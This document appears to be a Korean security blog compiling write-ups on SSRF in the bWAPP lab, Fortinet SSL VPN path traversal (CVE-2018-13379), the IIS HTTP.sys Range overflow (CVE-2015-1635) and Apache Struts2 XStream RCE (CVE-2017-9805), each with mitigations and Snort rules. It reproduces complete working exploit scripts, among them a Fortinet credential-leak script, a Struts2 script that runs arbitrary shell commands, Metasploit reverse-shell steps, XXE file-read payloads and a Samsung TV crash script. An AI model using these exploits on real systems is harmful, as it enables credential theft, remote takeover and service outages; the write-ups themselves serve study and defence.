1. SSRF (Server-Side Request Forgery)

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없었던 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

[사진 1] SSRF 동작 방식

- XSS (Cross-site Scripting) : 공격자가 삽입한 악성 스크립트가 사용자의 PC에서 실행
- CSRF (Cross Site Request Forgery) : 공격자가 삽입한 악성 스크립트가 사용자의 권한으로 서버에서 실행
- SSRF (Server-Side Request Forgery) : 공격자의 조작된 요청을 서버에서 실행

 

2. bWAPP 실습

- bWAPP의 SSRF에서는 3가지 유형에 대해 실습이 가능함

[사진 2] bWAPP SSRF

- 각 공격에 사용되는 파일은 3가지가 있으며, [사진 2]와 순서대로 대응

[사진 3] 시나리오 파일

2.1 RFI를 이용한 Port scan

- ssrf-1.txt 파일 이용

- fsockopen은 소켓 오픈 여부를 확인하는 PHP 함수로, 해당 파일은 ip 매개변수로 받은 IP에서 Open된 Port를 조회하는 파일임

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

 

- Remote & Local File Inclusion (RFL/LFI)로 이동 후 Go를 클릭하면 URL이 다음과 같이 변경

[사진 4] RFI

http://192.168.56.109/bWAPP/rlfi.php?language=lang_en.php&action=go

- ssrf-1.txt에서 ip 매개변수가 필요한 것을 확인하였으므로, URL을 변경

① ssrf-1.txt 파일의 경로를 language 매개변수에 전달 > 포트스캔 수행

② ip 매개변수에 127.0.0.1 전달 > 루프백(자기자신=서버)

http://192.168.56.109/bWAPP/rlfi.php?language=http://192.168.56.109/evil/ssrf-1.txt&action=go&ip=127.0.0.1

- 위 URL로 요청을 전송 시 bWAPP서버에대한 포트 스캔 결과가 확인됨

[사진 5] 포트 스캔 결과

2.2 XXE를 이용한 내부망 자원 접근

- ssrf-2.txt 파일 내용 확인

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

2.2.1 Accesses a file on the internal network (1)

- SQL Injection - Stored (XML) 이동 및 프록시 설정 후 버프슈트 실행

[사진 6] SQL Injection XML

- [사진 6]에서 Any bugs? > 버프슈트 Send to Repeater > 내용 작성 > Send

- 해당 요청의 결과로 bWAPP서버에 설정된 robots.txt 파일의 내용이 노출됨

[사진 7] robots.txt 파일 노출

2.2 Accesses a file on the internal network (2)

- [사진 6]에서 Any bugs? > 버프슈트 Send to Repeater > 내용 작성 > Send

[사진 8] 200 OK

- [사진 8]에서 확인된 응답을 버프슈트의 Decoder에서 based64로 디코딩한 결과 /bWAPP/passwords/heroes.xml 파일의 내용이 노출됨

[사진 9] based64 디코딩

<?xml version="1.0" encoding="UTF-8"?>
<heroes>
	<hero>
		<id>1</id>
		<login>neo</login>
		<password>trinity</password>
		<secret>Oh why didn't I took that BLACK pill?</secret>
		<movie>The Matrix</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>2</id>
		<login>alice</login>
		<password>loveZombies</password>
		<secret>There's a cure!</secret>
		<movie>Resident Evil</movie>
		<genre>action horror sci-fi</genre>
	</hero>
	<hero>
		<id>3</id>
		<login>thor</login>
		<password>Asgard</password>
		<secret>Oh, no... this is Earth... isn't it?</secret>
		<movie>Thor</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>4</id>
		<login>wolverine</login>
		<password>Log@N</password>
		<secret>What's a Magneto?</secret>
		<movie>X-Men</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>5</id>
		<login>johnny</login>
		<password>m3ph1st0ph3l3s</password>
		<secret>I'm the Ghost Rider!</secret>
		<movie>Ghost Rider</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>6</id>
		<login>selene</login>
		<password>m00n</password>
		<secret>It wasn't the Lycans. It was you.</secret>
		<movie>Underworld</movie>
		<genre>action horror sci-fi</genre>
	</hero>
</heroes>

 

2.3 XXE를 이용한 삼성 스마트 TV 공격 (CVE-2013-4890)

- CVE-2013-4890는 Samsung PS50C7700 TV의 DMCRUIS/0.1 웹 서버에 GET 요청으로 A를 300개 설정 후 TCP/5600으로 전송하면 서비스가 중지되는 취약점

[사진 10] https://nvd.nist.gov/vuln/detail/CVE-2013-4890

- ssrf-3.txt 파일 내용

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

- 공개된 PoC를 확인해보면, 취약한 삼성 스마트 TV에 A를 300개로 설정 및 TCP/5600로 요청을 전송하는 것을 확인할 수 있음

#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description: Resets some Samsung TVs\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"

 

- 공격 시연 YouTebe

https://www.youtube.com/watch?v=U-R2epNnUiM

 

3. 대응방안

① 입력값 필터링

- 서버 내부에서 접근해선 안 되는 값들을 필터링하거나 127.0.0.1, localhost, 사설 IP 대역 등을 블랙리스트필터링
- 허용된 도메인과 URL에 대해서만 접근 가능하도록 입력값을 화이트리스트 방식으로 필터링

- 우회 가능한 값들도 같이 필터링

 

② 중요한 정보가 포함된 경우 추가 인증을 적용

 

③ 중요한 정보가 포함된 서버 등을 분리

1. Fortinet SSL VPN

- Fortinet : 보안 솔루션을 개발 및 판매하는 다국적 기업

- SSL VPN : SSL(Secure Socket Layer) 기술을 사용한 VPN 솔루션으로 웹 서버와 클라이언트간의 안전한 통신을 위해 보안을 제공하는 프로토콜

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-13379

- Fortinet 제품에서 입렵값에 대한 검증을 적절히 수행하지 않아 특정 경로, 파일에 접근 가능한 취약점

- 취약점이 발생하는 제품 및 버전은 다음과 같으며, SSL VPN이 활성화된 경우에만 영향을 받음

제조사 제품 버전
Fortinet FortiOS 6.0.0 ~ 6.0.4
5.6.3 ~ 5.6.7
5.4.6 ~ 5.4.12
FortiProxy 2.0.0
1.2.0 ~ 1.2.8
1.1.0 ~ 1.1.6
1.0.0 ~ 1.0.7

 

2.1 분석

- “/remote/fgt_lang?”페이지 호출 시 lang 매개변수의 필터링을 제대로 수행하지 못해 발생하는 취약점

- 공격자는 lang 매개변수에 디렉터리 이동문자 "../"를 이용해 sslvpn_websession 등의 파일에 접근

- sslvpn_websession : 로그인 자격증명이 저장된 파일

Payload : Target IP/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

 

[사진 1] KISA 2021년 상반기 사이버 위협 동향 보고서.pdf 발췌

 

- [사진 1]의 요청을 통해 공격자에게 사용자의 ID/Password가 노출되며, 해당 계정정보를 통해 로그인이 가능

[사진 2] sslvpn_websession 파일 내용 노출 (ID/Password 유출)

2.2 PoC

- /remote/fgt_lang 페이지의 lang 매개변수에 ../를 삽입해 특정 경로, 파일 등에 접근

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)

 

3. 대응

3.1 서버측면

① 취약점 패치 적용

- Fortinet은 취약점 패치 적용 전까지 SSL-VPN을 사용하지 않을것을 권고

 

② 비밀번호 변경

- 이미 취약점에 노출되어 계정정보가 유출되었을 가능성이 있으므로 계정정보를 변경

 

③ MFA 적용

- 계정 외에도 인증할 수 있는 추가 수단을 적용하여 MFA 구현

 

3.2 네트워크 측면

① 탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /remote/fgt_lang?lang 이하의 URL로 접근이 확인되므로 해당 문자열을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"FortiOS SSL VPN Directory Traversal";content:"/remote/fgt_lang?lang";)

 

4. 참고

- https://www.fortiguard.com/psirt/FG-IR-18-384

- https://www.boho.or.kr/data/secNoticeList.do?page=1&sort_code=&sort_code_name=&search_sort=display_contents&search_word=CVE-2018-13379 

- https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=36146 

- https://www.codetd.com/ko/article/7028571

1. HTTP.sys

- w3wp.exe라는 IIS worker process와 Client 사이의 중간자 역할

- Client로부터 요청을 받아 w3wp.exe에 전달해주며, w3wp.exe가 처리한 결과를 받아 다시 Client에 전달

[사진 1] HTTP.sys

2. 취약점

[사진 2]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- HTTP 요청에서 패킷 사이즈를 변경하여 정수 오버플로를 발생시켜 서버에 BSOD(Blue Screen Of Death)를 유발하거나, 임의의 명령을 수행할 수 있는 취약점

취약한 버전
- Microsoft Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows Server 2012 Gold 및 R2
- Windows Server 2008 R2 SP1

 

2.1 취약점 분석

- HTTP.sys의 주요 함수

함수명 설명
UlpParseRange - Client 요청 패킷을 처음 처리하는 함수
- 동일한 요청에 대해서는 웹 서버에서 캐쉬된 Content를 사용해 속도를 높임
UlPrepareCacheMissRangeResponse - Client에서 처음 요청 했을 때 Response 처리 해주는 함수
UlAdjustRangesToContentSize - 요청 받은 range와 파일 size를 비교 및 체크를 수행하는 함수
UlpBuildCacheEntry - 동일한 요청을 받은 경우 웹 서버 성능 향상을 위한 캐시함수
UlBuildFastRangeCacheMdlChain - _imp__IoBuildPartialMdl 호출
_imp__IoBuildPartialMdl - UlBuildFastRangeCacheMdlChain 함수의 return 값 만큼 메모리 할당

 

- 취약점이 발생하는 함수는 UlAdjustRangesToContentSize()로 다음 식을 이용해 요청 받은 파일 사이즈를 처리

// Security Check 함수
// 실제 파일 사이즈보다 작은지 검증
// Range High + 1 값이 요청받은 파일 사이즈보다 작을 경우 Security Check OK
Range Low + (Range High - Range Low + 1)   ->   Range High + 1

// 할당 받는 메모리 크기
Return Value = Range High - Range Low + 1

 

- 정상적인 요청의 경우와 조작된 요청을 비교하면 다음과 같음 (Range 값 중 18은 0보다 큰 임의의 큰 값을 선택한 것)

정상적인 요청 조작된 요청
GET /hello.png HTTP/1.1
Range: 18-1365
hello.png FileSize : 184946
GET /hello.png HTTP/1.1
Range: 18-18446744073709551615
hello.png FileSize : 184946
Range High + 1 < File Size (Security Check 수행)
- 1365+1 = 1366 < 184946 // Security Check OK
② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 1365-18+1 = 1348
③ _imp__IoBuildPartialMdl 메모리 할당
- 1348 만큼의 메모리 할당
 Range High + 1 < File Size (Security Check 수행)
- 18446744073709551615+1 < 184946
- 18446744073709551615는 16진수로 0xFFFFFFFFFFFFFFFF
- 64bit 이상 표현할 수 없기 때문에 0x0000000000000000이 됨
- 0 < 184946 이므로 Security Check OK
 Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 18446744073709551615-18+1 = 0xFFFFFFFFFFFFFFEE
 _imp__IoBuildPartialMdl 메모리 할당
0xFFFFFFFFFFFFFFEE 만큼의 메모리 할당

 

[사진 3] 조작된 요청 동작 요약

 

- 위 표 및 사진에 따라, _imp__IoBuildPartialMdl에 의해 0xFFFFFFFFFFFFFFEE 만큼의 메모리를 받아오는 과정에서 BSOD가 발생

 

2.2 취약점 상세

- 취약 서버 구성

[사진 5] 취약 서버 구동(좌) 및 정상 접근 확인(우)

- Range 헤더 조작 후 요청 전송

[사진 6] 조작된 요청 전송

- BSOD 발생 확인

[사진 7] BSOD 발생

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 8] 와이어샤크

2.3 PoC

- 공개된 PoC를 확인해 보면 Range 헤더를 조작하는 것을 알 수 있음

/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}

 

3. 대응방안

3.1 서버 측면

① Windows 최신 업데이트 적용

- 패치된 버전에서는 UlpParseRange 함수에 RtlULongLongAdd 함수를 호출하여 Overflow 여부를 확인하도록 함
- Integer Overflow가 발생할 경우 RtlULongLongAdd 함수는 STATUS_INTEGER_OVERFLOW 에러를 리턴

 

3.2 네트워크 측면

① 탐지 룰 등록

- 공개된 PoC를 확인해보면 Range 헤더를 조작하므로 Range 헤더 등을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-IIS Microsoft IIS Range header integer overflow attempt"; flow:to_server,established; content:"Range"; nocase; http_header; content:"bytes"; distance:0; nocase; http_header; content:!"|0A|"; within:12; http_header; pcre:"/^Range\s*\x3a\s*bytes\s*\x3d[^\x0a]*?\d{11}/Him"; metadata:policy security-ips drop, service http; reference:bugtraq,74013; reference:cve,2015-1635; reference:url,technet.microsoft.com/en-us/security/bulletin/ms15-034; classtype:attempted-dos; sid:34061; rev:3;)

 

4. 참고

- https://www.sharedit.co.kr/posts/1912

- https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=22683&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTUtMTYzNQ== 

- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2015/ms15-034

- https://www.exploit-db.com/exploits/36773

- https://blog.qualys.com/vulnerabilities-threat-research/2015/04/20/ms15-034-analyze-and-remote-detection

- https://github.com/John-Lin/docker-snort/blob/master/snortrules-snapshot-2972/rules/server-iis.rules

1.Apache Struts2

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. CVE-2017-9805

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-9805

- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점

취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12

 

3. 취약점 분석

3.1 실습

- 취약한 서버 구동 및 IP 확인

[사진 2] 취약 서버 구동 및 IP 확인

 

- Nmap을 통해 실행 중인 서비스와 버전 식별

- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)

nmap -A 192.168.56.113

 

[사진 3] Nmap 수행 결과

 

- Nmap 수행 결과를 통해 /orders.xhtml 접속

[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)

 

- Metasploit을 통한 공격 수행

$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream 
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit

 

- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인

[사진 5] option 적용 확인

 

- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능

[사진 6] exploit 성공

 

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크

 

3.2 분석

- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원

- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재

① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조

 

[사진 8] 취약한 버전의 XStreamHandler.java

- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행

- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달

[사진 9] 취약한 버전의 ContentTypeHandler.java

 

3.3 PoC 분석

- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달

- POST 메소드 요청Content-Type': 'application/xml'로 변경

- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])

 

4. 대응

4.1 서버 측면

① 업데이트 수행

- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34

- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치

- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김

[사진 10] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)

- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가

[사진 11] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달

[사진 12] Apache Struts 2.5.13 ContentTypeInterceptor.java 취약(위) 및 패치(아래)

 

- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한

- [사진 7]에서 xml을 제외

[사진 13] struts-plugin.xml

<constant name="struts.action.extension" value="xhtml,,json" />

 

② REST 플러그인 비활성화

- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거

 

4.2 네트워크 측면

① 탐지 룰 생성

- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단

